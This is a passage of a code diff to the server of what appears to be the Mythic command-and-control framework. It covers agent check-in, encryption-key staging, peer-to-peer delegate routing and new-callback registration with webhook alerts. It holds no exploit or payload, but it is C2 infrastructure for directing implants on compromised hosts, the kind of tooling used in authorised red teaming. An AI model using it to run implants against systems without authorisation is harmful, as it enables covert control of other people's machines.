agent_uuid = UUID
elif decrypted["action"] == "delegate":
# this is an agent message that is just requesting or forwarding along delegate messages
# this is common in server_routed traffic after the first hop in the mesh
agent_uuid = UUID
- pass
elif decrypted["action"] == "checkin":
- if cached_keys[UUID]["type"] is not None:
- # we have encryption data when we're about to check in, so it's probably from staging
+ if enc_key["stage"] != "callback":
+ # checkin message with a staging uuid
if (
- "encryption_key" not in decrypted
- or decrypted["encryption_key"] == ""
+ "enc_key" not in decrypted
+ or decrypted["enc_key"] == ""
):
- decrypted["encryption_key"] = base64.b64encode(
- enc_key["enc_key"]
- ).decode()
+ decrypted["enc_key"] = enc_key["enc_key"]
if (
- "decryption_key" not in decrypted
- or decrypted["decryption_key"] == ""
+ "dec_key" not in decrypted
+ or decrypted["dec_key"] == ""
):
- decrypted["decryption_key"] = base64.b64encode(
- enc_key["dec_key"]
- ).decode()
+ decrypted["dec_key"] = enc_key["dec_key"]
if (
- "encryption_type" not in decrypted
- or decrypted["encryption_type"] == ""
+ "crypto_type" not in decrypted
+ or decrypted["crypto_type"] == ""
):
- decrypted["encryption_type"] = "AES256"
- response_data = await create_callback_func(decrypted, request)
- if response_data["status"] == "success":
- new_callback = response_data["id"]
+ decrypted["crypto_type"] = enc_key["type"]
+ if enc_key["stage"] == "callback":
+ # if the UUID is for a callback doing a checkin message, just update the callback instead
+ await update_callback(decrypted, UUID)
+ response_data = {"action": "checkin", "status": "success", "id": UUID}
+ agent_uuid = UUID
+ else:
+ response_data = await create_callback_func(decrypted, request)
+ if response_data["status"] == "success":
+ new_callback = response_data["id"]
elif decrypted["action"] == "staging_rsa":
response_data, staging_info = await staging_rsa(decrypted, UUID)
- if staging_info is not None:
- cached_keys[staging_info.staging_uuid] = {
- "enc_key": base64.b64decode(staging_info.session_key),
- "dec_key": base64.b64decode(staging_info.session_key),
- "type": "AES256",
- }
- else:
- return "", 404, new_callback, agent_uuid
- # staging is it's own thing, so return here instead of following down
- elif decrypted["action"] == "staging_dh":
- response_data, staging_info = await staging_dh(decrypted, UUID)
- if staging_info is not None:
- cached_keys[staging_info.staging_uuid] = {
- "enc_key": base64.b64decode(staging_info.session_key),
- "dec_key": base64.b64decode(staging_info.session_key),
- "type": "AES256",
- }
- else:
+ if staging_info is None:
return "", 404, new_callback, agent_uuid
elif decrypted["action"] == "update_info":
response_data = await update_callback(decrypted, UUID)
+ delegates = await get_routable_messages(enc_key["callback"], request)
+ if delegates is not None:
+ response_data["delegates"] = delegates
agent_uuid = UUID
+ elif decrypted["action"] == "translation_staging":
+ # this was already processed as part of our contact to the translation container
+ # so now we're just saving this data off for the next message
+ response_data = await staging_translator(decrypted, enc_key)
+ if response_data is None:
+ return "", 404, new_callback, agent_uuid
+ else:
+ return response_data, 200, new_callback, agent_uuid
else:
- await send_all_operations_message("Unknown action:" + str(decrypted["action"]), "warning")
+ asyncio.create_task(send_all_operations_message(message="Unknown action:" + str(decrypted["action"]),
+ level="warning", source="unknown_action_in_message", operation=enc_key["payload"].operation))
return "", 404, new_callback, agent_uuid
+
+ if "edges" in decrypted:
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"Parsing agent message - step 6 (processing reported p2p edge updates): \n {decrypted['edges']}",
+ level="info", source="debug", operation=enc_key["payload"].operation)
+ if decrypted["edges"] != "" and decrypted["edges"] is not None:
+ asyncio.create_task(add_p2p_route(decrypted["edges"], None, None))
+ response_data.pop("edges", None)
# now that we have the right response data, format the response message
if (
"delegates" in decrypted
@@ -348,57 +502,162 @@ async def parse_agent_message(data: str, request):
and decrypted["delegates"] != ""
and decrypted["delegates"] != []
):
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"Parsing agent message - step 7 (processing delegate messages): \n {decrypted['delegates']}",
+ level="info", source="debug", operation=enc_key["payload"].operation)
if "delegates" not in response_data:
response_data["delegates"] = []
for d in decrypted["delegates"]:
# handle messages for all of the delegates
- # d is {"UUID1": agentMessage}
- for d_uuid in d:
- # process the delegate message recursively
- # iterate over the keys in d, typically just one
- del_message, status, del_new_callback, del_uuid = await parse_agent_message(d[d_uuid], request)
- if status == 200:
- # store the response to send back
- if del_new_callback != "":
- # the delegate message caused a new callback, to report the changing UUID
- response_data["delegates"].append({del_new_callback: del_message,
- d_uuid: del_new_callback})
- elif del_uuid != "" and del_uuid != d_uuid:
- # there is no new callback
- # the delegate is a callback (not staging) and the callback uuid != uuid in the message
- # so send an update message with the rightful callback uuid so the agent can update
- response_data["delegates"].append({del_uuid: del_message,
- d_uuid: del_uuid})
- else:
- # there's no new callback and the delegate message isn't a full callback yet
- # so just proxy through the UUID since it's in some form of staging
- response_data["delegates"].append({d_uuid: del_message})
- # special encryption will be handled by the appropriate stager call
- # base64 ( UID + ENC(response_data) )
- #if keep_logs:
- # logger.info("Mythic -> Agent: " + js.dumps(response_data))
- # print(response_data)
- final_msg = await crypt.encrypt_message(response_data, enc_key, UUID)
- #if enc_key["type"] is None:
- # return (
- # base64.b64encode((UUID + js.dumps(response_data)).encode()).decode(),
- # 200,
- # )
- #else:
- # if enc_key["type"] == "AES256":
- # enc_data = await crypt.encrypt_AES256(
- # data=js.dumps(response_data).encode(), key=enc_key["enc_key"]
- # )
- # return base64.b64encode(UUID.encode() + enc_data).decode(), 200
+ # d is {"message": agentMessage, "c2_profile": "profile name", "uuid": d_uuid}
+ # process the delegate message recursively
+ del_message, status, del_new_callback, del_uuid = await parse_agent_message(d["message"],
+ request,
+ d["c2_profile"])
+ if status == 200:
+ # store the response to send back
+ print("got delegate message: ")
+ print(del_message)
+ if not isinstance(del_message, str):
+ del_message = del_message.decode()
+ if del_new_callback != "":
+ # the delegate message caused a new callback, to report the changing UUID
+ asyncio.create_task(
+ add_p2p_route(
+ agent_message=[{
+ "source": UUID,
+ "destination": del_new_callback,
+ "direction": 1,
+ "metadata": "",
+ "action": "add",
+ "c2_profile": d["c2_profile"]
+ }],
+ callback=None,
+ task=None)
+ )
+ response_data["delegates"].append({"message": del_message,
+ "mythic_uuid": del_new_callback,
+ "uuid": d["uuid"]})
+ elif del_uuid != "" and del_uuid != d["uuid"]:
+ # there is no new callback
+ # the delegate is a callback (not staging) and the callback uuid != uuid in the message
+ # so send an update message with the rightful callback uuid so the agent can update
+ asyncio.create_task(
+ add_p2p_route(
+ agent_message=[{
+ "source": UUID,
+ "destination": del_uuid,
+ "direction": 1,
+ "metadata": "",
+ "action": "add",
+ "c2_profile": d["c2_profile"]
+ }],
+ callback=None,
+ task=None)
+ )
+ response_data["delegates"].append({"message": del_message,
+ "uuid": d["uuid"],
+ "mythic_uuid": del_uuid})
+ else:
+ # there's no new callback and the delegate message isn't a full callback yet
+ # so just proxy through the UUID since it's in some form of staging
+ response_data["delegates"].append({"message": del_message, "uuid": d["uuid"]})
+ #print("final message before going to containers:")
+ #print(response_data)
+ final_msg = await create_final_message_from_data_and_profile_info(response_data, enc_key, UUID, request)
+ if final_msg is None:
+ return "", 404, new_callback, agent_uuid
+ #print("finishing processing loop, returning: ")
+ #print(final_msg)
return final_msg, 200, new_callback, agent_uuid
except Exception as e:
- print(sys.exc_info()[-1].tb_lineno)
- print("callback.py: " + str(e))
- await send_all_operations_message(f"Exception dealing with message: {str(decoded)}\nfrom {request.host} as {request.method} method with headers: \n{request.headers}",
- "warning")
+ logger.warning("callback_api.py - " + str(sys.exc_info()[-1].tb_lineno))
+ logger.warning("callback_api.py: " + str(e))
+ asyncio.create_task(send_all_operations_message(message=f"Exception dealing with message from {request.host} as {request.method} method with headers: \n{request.headers}\ncallback.py: {str(sys.exc_info()[-1].tb_lineno)} - {str(e)}",
+ level="warning", source="mythic_error_for_message_parsing"))
return "", 404, new_callback, agent_uuid
+async def create_final_message_from_data_and_profile_info(response_data, enc_key, current_uuid, request):
+ if enc_key["translation_container"] is not None:
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"Parsing agent message - step 8 (final mythic response message going to translation container): \n {js.dumps(response_data)}",
+ level="info", operation=enc_key["payload"].operation, source="debug")
+ final_msg, successfully_sent = await translator_rpc.call(message={
+ "action": "translate_to_c2_format",
+ "message": response_data,
+ "profile": enc_key["profile"],
+ "mythic_encrypts": enc_key["mythic_encrypts"],
+ "enc_key": base64.b64encode(enc_key["enc_key"]).decode() if enc_key["enc_key"] is not None else None,
+ "dec_key": base64.b64encode(enc_key["dec_key"]).decode() if enc_key["dec_key"] is not None else None,
+ "uuid": current_uuid,
+ "type": enc_key["type"]
+ }, receiver="{}_rpc_queue".format(enc_key["translation_container"]))
+ # print("received from translate_to_c2_format: ")
+ # print(final_msg)
+ if final_msg == b"":
+ if successfully_sent:
+ asyncio.create_task(send_all_operations_message(
+ message=f"Failed to have {enc_key['translation_container']} container process translate_to_c2_format with message: {str(response_data)}",
+ level="warning", source="translate_to_c2_format_success", operation=enc_key["payload"].operation))
+ else:
+ asyncio.create_task(send_all_operations_message(
+ message=f"Failed to have {enc_key['translation_container']} container process translate_to_c2_format, is it online?",
+ level="warning", source="translate_to_c2_format_error", operation=enc_key["payload"].operation))
+ return None
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"Parsing agent message - step 8.5 (response from translation container to c2 format): \n {final_msg}",
+ level="info", source="debug", operation=enc_key["payload"].operation)
+ else:
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"Parsing agent message - step 8 (final mythic response message): \n {js.dumps(response_data)}",
+ level="info", source="debug", operation=enc_key["payload"].operation)
+ final_msg = js.dumps(response_data).encode()
+ if enc_key["mythic_encrypts"]:
+ # if mythic should encrypt this, encrypt it and do our normal stuff
+ # print(final_msg)
+ final_msg = await crypt.encrypt_message(final_msg, enc_key, current_uuid)
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"Parsing agent message - step 9 (mythic encrypted final message): \n {final_msg}",
+ level="info", source="debug", operation=enc_key["payload"].operation)
+ # print(final_msg)
+ elif enc_key["translation_container"] is None:
+ # if mythic shouldn't encrypt it and there's a container,
+ # then the container should have already handled everything
+ # otherwise, there's no container and we shouldn't encrypt, so just concat and base64
+ final_msg = base64.b64encode((current_uuid.encode() + final_msg)).decode()
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"Parsing agent message - step 9 (mythic doesn't encrypt and no translation container, just adding uuid and base64 encoding): \n {final_msg}",
+ level="info", source="debug", operation=enc_key["payload"].operation)
+ return final_msg
+
+
+async def staging_translator(final_msg, enc_key):
+ try:
+ # we got a message back, process it and store it for staging information in the future
+ await app.db_objects.create(db_model.StagingInfo,
+ session_id=final_msg["session_id"],
+ enc_key=base64.b64decode(final_msg["enc_key"]) if final_msg["enc_key"] is not None else None,
+ dec_key=base64.b64decode(final_msg["dec_key"]) if final_msg["dec_key"] is not None else None,
+ crypto_type=final_msg["type"],
+ staging_uuid=final_msg["next_uuid"],
+ payload=enc_key["payload"]
+ )
+ return base64.b64decode(final_msg["message"])
+
+ except Exception as e:
+ asyncio.create_task(send_all_operations_message(
+ message=f"Failed to translator_staging response from {enc_key['translation_container']} container message: {str(final_msg)}",
+ level="warning", source="translator_staging_response_error", operation=enc_key["payload"].operation))
+ return None
+
+
@mythic.route(mythic.config["API_BASE"] + "/callbacks/", methods=["POST"])
@inject_user()
@scoped(
@@ -416,15 +675,15 @@ async def create_manual_callback(request, user):
)
try:
data = request.json
- encryption = await get_encryption_data(data["uuid"])
+ encryption = await get_encryption_data(data["uuid"], data["profile"])
if encryption['type'] is None:
- data["encryption_type"] = ""
- data["encryption_key"] = None
- data["decryption_key"] = None
+ data["crypto_type"] = ""
+ data["enc_key"] = None
+ data["dec_key"] = None
else:
- data["encryption_type"] = encryption['type']
- data["encryption_key"] = base64.b64encode(encryption['enc_key']).decode()
- data["decryption_key"] = base64.b64encode(encryption['dec_key']).decode()
+ data["crypto_type"] = encryption['type']
+ data["enc_key"] = base64.b64encode(encryption['enc_key']).decode()
+ data["dec_key"] = base64.b64encode(encryption['dec_key']).decode()
return json(await create_callback_func(data, request))
except Exception as e:
print(e)
@@ -437,53 +696,58 @@ async def create_callback_func(data, request):
if not data:
return {"status": "error", "error": "Data is required for POST"}
if "user" not in data:
- return {"status": "error", "error": "User required"}
+ data["user"] = ""
if "host" not in data:
- return {"status": "error", "error": "Host required"}
+ data["host"] = ""
if "pid" not in data:
- return {"status": "error", "error": "PID required"}
+ data["pid"] = -1
if "ip" not in data:
- return {"status": "error", "error": "IP required"}
+ data["ip"] = ""
if "uuid" not in data:
return {"status": "error", "error": "uuid required"}
# Get the corresponding Payload object based on the uuid
try:
- query = await db_model.payload_query()
- payload = await db_objects.get(query, uuid=data["uuid"])
- pcallback = payload.pcallback
+ payload = await app.db_objects.get(db_model.payload_query, uuid=data["uuid"])
except Exception as e:
- print(e)
+ asyncio.create_task(send_all_operations_message(
+ message=f"Failed to create new callback - embedded payload uuid unknown: {data['uuid'] if 'uuid' in data else None}",
+ level="warning", source="create_callback"))
return {"status": "error", "error": "payload not found by uuid"}
if "integrity_level" not in data:
data["integrity_level"] = 2 # default medium integrity level
if "os" not in data:
- data["os"] = None
+ data["os"] = ""
if "domain" not in data:
- data["domain"] = None
+ data["domain"] = ""
if "architecture" not in data:
- data["architecture"] = None
+ data["architecture"] = ""
if "external_ip" not in data:
if "x-forwarded-for" in request.headers:
data["external_ip"] = request.headers["x-forwarded-for"].split(",")[-1]
elif "X-Forwarded-For" in request.headers:
data["external_ip"] = request.headers["X-Forwarded-For"].split(",")[-1]
else:
- data["external_ip"] = None
+ data["external_ip"] = ""
if "extra_info" not in data:
data["extra_info"] = ""
+ if "sleep_info" not in data:
+ data["sleep_info"] = ""
+ if "process_name" not in data:
+ data["process_name"] = ""
try:
if payload.operation.complete:
- await db_objects.create(
+ await app.db_objects.create(
db_model.OperationEventLog,
operation=payload.operation,
level="warning",
message="Payload {} trying to checkin with data: {}".format(
payload.uuid, js.dumps(data)
),
+ source=str(uuid.uuid4())
)
return {"status": "error", "error": "Failed to create callback"}
else:
- cal = await db_objects.create(
+ cal = await app.db_objects.create(
Callback,
user=data["user"],
host=data["host"].upper(),
@@ -492,7 +756,6 @@ async def create_callback_func(data, request):
description=payload.tag,
operator=payload.operator,
registered_payload=payload,
- pcallback=pcallback,
operation=payload.operation,
integrity_level=data["integrity_level"],
os=data["os"],
@@ -500,35 +763,37 @@ async def create_callback_func(data, request):
architecture=data["architecture"],
external_ip=data["external_ip"],
extra_info=data["extra_info"],
+ sleep_info=data["sleep_info"],
+ process_name=data["process_name"]
)
- await db_objects.create(
+ await app.db_objects.create(
db_model.OperationEventLog,
operator=None,
operation=payload.operation,
message="New Callback ({}) {}@{} with pid {}".format(
cal.id, cal.user, cal.host, str(cal.pid)
),
+ source=str(uuid.uuid4())
)
- await db_objects.create(
+ await app.db_objects.get_or_create(
db_model.PayloadOnHost,
host=data["host"].upper(),
payload=payload,
operation=payload.operation,
)
- if "encryption_type" in data:
- cal.encryption_type = data["encryption_type"]
- if "decryption_key" in data:
- cal.decryption_key = data["decryption_key"]
- if "encryption_key" in data:
- cal.encryption_key = data["encryption_key"]
- await db_objects.update(cal)
- query = await db_model.payloadcommand_query()
- payload_commands = await db_objects.execute(
- query.where(PayloadCommand.payload == payload)
+ if "crypto_type" in data:
+ cal.crypto_type = data["crypto_type"]
+ if "dec_key" in data:
+ cal.dec_key = data["dec_key"]
+ if "enc_key" in data:
+ cal.enc_key = data["enc_key"]
+ await app.db_objects.update(cal)
+ payload_commands = await app.db_objects.execute(
+ db_model.payloadcommand_query.where(PayloadCommand.payload == payload)
)
# now create a loaded command for each one since they are loaded by default
for p in payload_commands:
- await db_objects.create(
+ await app.db_objects.create(
LoadedCommands,
command=p.command,
version=p.version,
@@ -536,14 +801,13 @@ async def create_callback_func(data, request):
operator=payload.operator,
)
# now create a callback2profile for each loaded c2 profile in the payload since it's there by default
- query = await db_model.payloadc2profiles_query()
- pc2profiles = await db_objects.execute(
- query.where(db_model.PayloadC2Profiles.payload == payload)
+ pc2profiles = await app.db_objects.execute(
+ db_model.payloadc2profiles_query.where(db_model.PayloadC2Profiles.payload == payload)
)
for pc2p in pc2profiles:
if pc2p.c2_profile.is_p2p is False:
# add in an edge to itself with the associated egress edge
- await db_objects.create(
+ await app.db_objects.create(
db_model.CallbackGraphEdge,
source=cal,
destination=cal,
@@ -551,13 +815,12 @@ async def create_callback_func(data, request):
operation=cal.operation,
direction=1,
)
- await db_objects.create(
+ await app.db_objects.create(
db_model.CallbackC2Profiles, callback=cal, c2_profile=pc2p.c2_profile
)
# now also save off a copy of the profile parameters
- query = await db_model.c2profileparametersinstance_query()
- instances = await db_objects.execute(
- query.where(
+ instances = await app.db_objects.execute(
+ db_model.c2profileparametersinstance_query.where(
(
db_model.C2ProfileParametersInstance.payload
== cal.registered_payload
@@ -569,7 +832,7 @@ async def create_callback_func(data, request):
)
)
for i in instances:
- await db_objects.create(
+ await app.db_objects.create(
db_model.C2ProfileParametersInstance,
callback=cal,
c2_profile_parameters=i.c2_profile_parameters,
@@ -577,85 +840,38 @@ async def create_callback_func(data, request):
value=i.value,
operation=cal.operation,
)
- await update_graphs(cal.operation)
except Exception as e:
- print(e)
+ asyncio.create_task(send_all_operations_message(
+ message=f"Failed to create new callback {str(e)}",
+ level="warning", source="create_callback2"))
return {"status": "error", "error": "Failed to create callback: " + str(e)}
status = {"status": "success"}
- await log_to_siem(cal.to_json(), mythic_object="callback_new")
- if cal.operation.webhook and cal.registered_payload.callback_alert:
+ asyncio.create_task( log_to_siem(mythic_object=cal, mythic_source="callback_new") )
+ if cal.operation.webhook != "" and cal.registered_payload.callback_alert:
# if we have a webhook, send a message about the new callback
try:
if cal.integrity_level >= 3:
- int_level = "high"
+ int_level = "HIGH"
elif cal.integrity_level == 2:
- int_level = "medium"
+ int_level = "MEDIUM"
else:
- int_level = "low"
- message = {
- "attachments": [
- {
- "color": "#b366ff",
- "blocks": [
- {
- "type": "section",
- "text": {
- "type": "mrkdwn",
- "text": " You have a new Callback!",
- },
- },
- {"type": "divider"},
- {
- "type": "section",
- "fields": [
- {
- "type": "mrkdwn",
- "text": "*Operation:*\n{}".format(
- cal.operation.name
- ),
- },
- {
- "type": "mrkdwn",
- "text": "*IP:*\n{}".format(cal.ip),
- },
- {
- "type": "mrkdwn",
- "text": "*Callback ID:*\n{}".format(cal.id),
- },
- {
- "type": "mrkdwn",
- "text": "*Type:*\n{}".format(
- cal.registered_payload.payload_type.ptype
- ),
- },
- {
- "type": "mrkdwn",
- "text": '*Description:*\n"{}"'.format(
- cal.description
- ),
- },
- {
- "type": "mrkdwn",
- "text": "*Operator:*\n{}".format(
- cal.operator.username
- ),
- },
- {
- "type": "mrkdwn",
- "text": "*Integrity Level*\n{}".format(
- int_level
- ),
- },
- ],
- },
- ],
- }
- ]
- }
- response = requests.post(cal.operation.webhook, json=message)
+ int_level = "LOW"
+ message = cal.operation.webhook_message.replace("{channel}", cal.operation.channel)
+ message = message.replace("{display_name}", cal.operation.display_name)
+ message = message.replace("{icon_emoji}", cal.operation.icon_emoji)
+ message = message.replace("{icon_url}", cal.operation.icon_url)
+ message = message.replace("{operation}", cal.operation.name)
+ message = message.replace("{callback}", str(cal.id))
+ message = message.replace("{ip}", str(cal.ip))
+ message = message.replace("{payload_type}", cal.registered_payload.payload_type.ptype)
+ message = message.replace("{description}", cal.description)
+ message = message.replace("{operator}", cal.operator.username)
+ message = message.replace("{integrity}", int_level)
+ asyncio.create_task(send_webhook_message(cal.operation.webhook, message, cal.operation))
except Exception as e:
- logger.exception("Failed to send off webhook: " + str(e))
- print(str(e))
+ asyncio.create_task(send_all_operations_message(
+ message=f"Failed to create webhook message: {str(e)}",
+ level="warning", source="create_callback", operation=cal.operation))
for k in data:
if k not in [
"action",
@@ -664,14 +880,15 @@ async def create_callback_func(data, request):
"pid",
"ip",
"uuid",
+ "sleep_info",
"integrity_level",
"os",
"domain",
"architecture",
"external_ip",
- "encryption_type",
- "decryption_key",
- "encryption_key",
+ "crypto_type",
+ "enc_key",
+ "dec_key",
"delegates",
"extra_info",
]:
@@ -679,30 +896,42 @@ async def create_callback_func(data, request):
return {**status, "id": cal.agent_callback_id, "action": "checkin"}
+async def send_webhook_message(webhook, message, operation):
+ try:
+ message = js.loads(message)
+ async with aiohttp.ClientSession() as session:
+ async with session.post(webhook, json=message) as resp:
+ return await resp.text()
+ except Exception as e:
+ await send_all_operations_message(f"Failed to send webhook message: {str(e)}",
+ level="warning", source="new_callback_webhook", operation=operation)
+
+
async def load_commands_func(command_dict, callback, task):
try:
- cquery = await db_model.command_query()
- cmd = await db_objects.get(cquery, cmd=command_dict["cmd"],
+ cmd = await app.db_objects.get(db_model.command_query, cmd=command_dict["cmd"],
payload_type=callback.registered_payload.payload_type)
- lcquery = await db_model.loadedcommands_query()
if command_dict["action"] == "add":
try:
- lc = await db_objects.get(lcquery, command=cmd, callback=callback)
+ lc = await app.db_objects.get(db_model.loadedcommands_query, command=cmd, callback=callback)
lc.version = cmd.version
lc.operator = task.operator
- await db_objects.update(lc)
+ await app.db_objects.update(lc)
except Exception as e:
- await db_objects.create(db_model.LoadedCommands,
+ await app.db_objects.create(db_model.LoadedCommands,
command=cmd,
version=cmd.version,
callback=callback,
operator=task.operator)
else:
- lc = await db_objects.get(lcquery, callback=callback, command=cmd)
- await db_objects.delete(lc)
+ lc = await app.db_objects.get(db_model.loadedcommands_query, callback=callback, command=cmd)
+ await app.db_objects.delete(lc)
return {"status": "success"}
except Exception as e:
print(e)
+ asyncio.create_task(send_all_operations_message(
+ message=f"Failed to update loaded command: {str(e)}",
+ level="warning", source="load_commands", operation=callback.operation))
return {"status": "error", "error": str(e)}
@@ -716,20 +945,8 @@ async def update_callback(data, UUID):
# "status": "success",
# "error": "error message" (optional)
# }
- query = await db_model.callback_query()
- cal = await db_objects.get(query, agent_callback_id=UUID)
+ cal = await app.db_objects.get(db_model.callback_query, agent_callback_id=UUID)
try:
- if UUID not in cached_keys:
- cached_keys[UUID] = {"type": None, "enc_key": None, "dec_key": None}
- if "encryption_type" in data:
- cal.encryption_type = data["encryption_type"]
- cached_keys[UUID]["type"] = cal.encryption_type
- if "encryption_key" in data:
- cal.encryption_key = data["encryption_key"]
- cached_keys[UUID]["enc_key"] = base64.b64decode(cal.encryption_key)
- if "decryption_key" in data:
- cal.decryption_key = data["decryption_key"]
- cached_keys[UUID]["dec_key"] = base64.b64decode(cal.decryption_key)
if "user" in data:
cal.user = data["user"]
if "ip" in data:
@@ -750,249 +967,184 @@ async def update_callback(data, UUID):
cal.architecture = data["architecture"]
if "pid" in data:
cal.pid = data["pid"]
- await db_objects.update(cal)
+ if "sleep_info" in data:
+ cal.sleep_info = data["sleep_info"]
+ if "description" in data:
+ cal.description = data["description"]
+ if "process_name" in data:
+ cal.process_name = data["process_name"]
+ await app.db_objects.update(cal)
return {"action": "update_info", "status": "success"}
except Exception as e:
- print("error in callback update function")
- print(str(e))
+ asyncio.create_task(send_all_operations_message(
+ message=f"Failed to update callback information {str(e)}",
+ level="warning", source="update_callback", operation=cal.operation))
return {"action": "update_info", "status": "error", "error": str(e)}
-# https://pypi.org/project/Dijkstar/
-current_graphs = {}
+def cost_func(u, v, edge, prev_edge):
+ return 1
-
-async def get_routable_messages(requester):
- # are there any messages sitting in the database in the "submitted" stage that have routes from the requester
- # 1. get all CallbackGraphEdge entries that have an end_timestamp of Null (they're still active)
- # 2. feed into dijkstar and do shortest path
- # 3. for each element in the shortest path, see if there's any tasking stored
- # 4. if there's tasking, wrap it up in a message:
- # content is the same of that of a "get_tasking" reply with a a -1 request
- delegates = []
- operation = requester.operation
- if operation.name not in current_graphs:
- await update_graphs(operation)
- if current_graphs[operation.name].edge_count == 0:
- return None # graph for this operation has no edges
- query = await db_model.task_query()
- submitted_tasks = await db_objects.execute(
- query.where(
- (db_model.Task.status == "submitted")
- & (db_model.Callback.operation == operation)
- )
- )
- # print(len(submitted_tasks))
- # this is a mapping of UUID to list of tasks that it'll get
- temp_callback_tasks = {}
- for t in submitted_tasks:
- # print(t.to_json())
- try:
- path = find_path(current_graphs[operation.name], requester, t.callback)
- except NoPathError:
- # print("No path from {} to {}".format(requester.id, t.callback.id))
- continue
- if len(path.nodes) > 1 and path.nodes[-1] != requester:
- # this means we have some sort of path longer than 1
- # make a tasking message for this
- # print(t.to_json())
- if path.nodes[-1].agent_callback_id in temp_callback_tasks:
- temp_callback_tasks[path.nodes[-1].agent_callback_id]["tasks"].append(t)
- else:
- temp_callback_tasks[path.nodes[-1].agent_callback_id] = {
- "tasks": [t],
- "path": path.nodes[::-1],
- }
- # now actually construct the tasks
- for k, v in temp_callback_tasks.items():
- # print(k)
- # print(v)
- tasks = []
- for t in v["tasks"]:
- t.status = "processing"
- t.status_timestamp_processing = datetime.utcnow()
- t.timestamp = t.status_timestamp_processing
- await db_objects.update(t)
- tasks.append(
- {
- "command": t.command.cmd,
- "parameters": t.params,
- "id": t.agent_task_id,
- "timestamp": t.timestamp.timestamp(),
- }
- )
- # now that we have all the tasks we're going to send, make the message
- message = {"action": "get_tasking", "tasks": tasks}
- # now wrap this message up like it's going to be sent out, first level is just normal
- enc_key = await get_encryption_data(v["path"][0].agent_callback_id)
- if enc_key['type'] is None:
- message = {
- v["path"][0]
- .agent_callback_id: base64.b64encode(
- (v["path"][0].agent_callback_id + js.dumps(message)).encode()
- )
- .decode()
- }
- else:
- enc_data = await crypt.encrypt_AES256(
- data=js.dumps(message).encode(), key=enc_key['enc_key']
- )
- message = {
- v["path"][0]
- .agent_callback_id: base64.b64encode(
- v["path"][0].agent_callback_id.encode() + enc_data
- )
- .decode()
- }
- # for every other agent in the path though, their action is a delegate message
- # we don't need to do this wrapping for the last in the list since that's the egress node asking for tasking
- for cal in v["path"][1:-1]:
- message = {"action": "get_tasking", "tasks": [], "delegates": [message]}
- enc_key = await get_encryption_data(cal.agent_callback_id)
- if enc_key['type'] is None:
- message = {
- cal.agent_callback_id: base64.b64encode(
- (cal.agent_callback_id + js.dumps(message)).encode()
- ).decode()
- }
- else:
- enc_data = await crypt.encrypt_AES256(
- data=js.dumps(message).encode(), key=enc_key['enc_key']
- )
- message = {
- cal.agent_callback_id: base64.b64encode(
- cal.agent_callback_id.encode() + enc_data
- ).decode()
- }
- delegates.append(message)
- # print(delegates)
- if len(delegates) == 0:
- return None
- else:
- return delegates
+# https://pypi.org/project/Dijkstar/
-async def update_graphs(operation):
+async def get_graph(operation: db_model.Operation, directed: bool = True):
try:
- query = await db_model.callbackgraphedge_query()
- available_edges = await db_objects.execute(
- query.where(
+ available_edges = await app.db_objects.execute(
+ db_model.callbackgraphedge_query.where(
(db_model.CallbackGraphEdge.operation == operation)
& (db_model.CallbackGraphEdge.end_timestamp == None)
)
)
- temp = Graph()
+ temp = Graph(undirected=not directed)
# dijkstra is directed, so if we have a bidirectional connection (type 3) account for that as well
for e in available_edges:
if e.source == e.destination:
- temp.add_edge(e.source, e.c2_profile, 1)
+ temp.add_edge(e.source, e.c2_profile, e)
elif e.direction == 1:
- temp.add_edge(e.source, e.destination, 1)
+ temp.add_edge(e.source, e.destination, e)
elif e.direction == 2:
- temp.add_edge(e.destination, e.source, 1)
+ temp.add_edge(e.destination, e.source, e)
elif e.direction == 3:
- temp.add_edge(e.source, e.destination, 1)
- temp.add_edge(e.destination, e.source, 1)
- query = await db_model.c2profile_query()
- profiles = await db_objects.execute(
- query.where(db_model.C2Profile.is_p2p == False)
+ temp.add_edge(e.source, e.destination, e)
+ temp.add_edge(e.destination, e.source, e)
+ profiles = await app.db_objects.execute(
+ db_model.c2profile_query.where(db_model.C2Profile.is_p2p == False)
)
for p in profiles:
temp.add_edge(p, "Mythic", 1)
- current_graphs[operation.name] = temp
+ return temp
except Exception as e:
- print(str(e))
- return
-
-
-current_non_directed_graphs = {}
+ asyncio.create_task(send_all_operations_message(message=f"Failed to create graph:\n{str(e)}", level="warning", operation=operation))
+ return Graph()
-async def update_non_directed_graphs(operation):
+async def get_routable_messages(requester, request):
+ # are there any messages sitting in the database in the "submitted" stage that have routes from the requester
+ # 1. get all CallbackGraphEdge entries that have an end_timestamp of Null (they're still active)
+ # 2. feed into dijkstar and do shortest path
+ # 3. for each element in the shortest path, see if there's any tasking stored
+ # 4. if there's tasking, wrap it up in a message:
+ # content is the same of that of a "get_tasking" reply with a a -1 request
try:
- query = await db_model.callbackgraphedge_query()
- available_edges = await db_objects.execute(
- query.where(
- (db_model.CallbackGraphEdge.operation == operation)
- & (db_model.CallbackGraphEdge.end_timestamp == None)
+ delegates = []
+ operation = requester.operation
+ graph = await get_graph(operation)
+ if graph.edge_count == 0:
+ return None # graph for this operation has no edges
+ submitted_tasks = await app.db_objects.execute(
+ db_model.task_query.where(
+ (db_model.Task.status == "submitted")
+ & (db_model.Callback.operation == operation)
)
)
- temp = Graph()
- # dijkstra is directed, so if we have a bidirectional connection (type 3) account for that as well
- for e in available_edges:
- if e.source == e.destination:
- temp.add_edge(e.source, e.c2_profile, 1)
- temp.add_edge(e.c2_profile, e.source, 1)
+ temp_callback_tasks = {}
+ for t in submitted_tasks:
+ # print(t.to_json())
+ try:
+ path = find_path(graph, requester, t.callback, cost_func=cost_func)
+ except NoPathError:
+ # print("No path from {} to {}".format(requester.id, t.callback.id))
+ continue
+ if len(path.nodes) > 1 and path.nodes[-1] != requester:
+ # this means we have some sort of path longer than 1
+ # make a tasking message for this
+ # print(t.to_json())
+ if path.nodes[-1].agent_callback_id in temp_callback_tasks:
+ temp_callback_tasks[path.nodes[-1].agent_callback_id]["tasks"].append(t)
+ else:
+ temp_callback_tasks[path.nodes[-1].agent_callback_id] = {
+ "tasks": [t],
+ "path": path.nodes[::-1],
+ "edges": path.edges[::-1]
+ }
+ # now actually construct the tasks
